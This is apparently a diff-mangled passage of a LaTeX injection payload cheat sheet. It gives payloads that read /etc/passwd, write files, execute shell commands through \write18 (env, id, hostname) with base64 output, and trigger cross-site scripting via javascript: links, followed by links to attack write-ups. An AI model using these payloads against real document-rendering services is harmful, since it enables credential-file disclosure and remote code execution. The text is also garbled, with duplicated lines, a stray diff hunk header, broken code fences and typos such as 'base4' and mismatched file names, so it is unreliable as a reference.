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## Read file
```bash
Read file and interpret the LaTeX code in it:
```tex
\input{/etc/passwd}
\include{password} # load .tex file
\include{somefile} # load .tex file (somefile.tex)
```
Read single lined file
Read single lined file:
```bash
```tex
\newread\file
\openin\file=/etc/issue
\read\file to\line
@ -17,9 +19,9 @@ Read single lined file
\closein\file
```
Read multiple lined file
Read multiple lined file:
```bash
```tex
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
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\closein\file
```
Read text file, keep the formatting
Read text file, **without** interpreting the content, it will only paste raw file content:
```bash
```tex
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```
## Write file
```bash
Write single lined file:
```tex
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\write\outfile{Line 2}
\write\outfile{I like trains}
\closeout\outfile
```
## Command execution
The input of the command will be redirected to stdin, use a temp file to get it.
The output of the command will be redirected to stdout, therefore you need to use a temp file to get it.
```bash
\immediate\write18{env > output}
```tex
\immediate\write18{id > output}
\input{output}
```
If you get any LaTex error, consider using base64 to get the result without bad characters
If you get any LaTex error, consider using base64 to get the result without bad characters (or use `\verbatiminput`):
```bash
```tex
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
```tex
\input|ls|base64
\input{|"/bin/hostname"}
```
## Cross Site Scripting
From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
```bash
```tex
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
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* [Hacking with LaTeX - Sebastian Neef - 0day.work](https://0day.work/hacking-with-latex/)
* [Latex to RCE, Private Bug Bounty Program - Yasho](https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a)
* [Pwning coworkers thanks to LaTeX](http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
* [Pwning coworkers thanks to LaTeX](http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)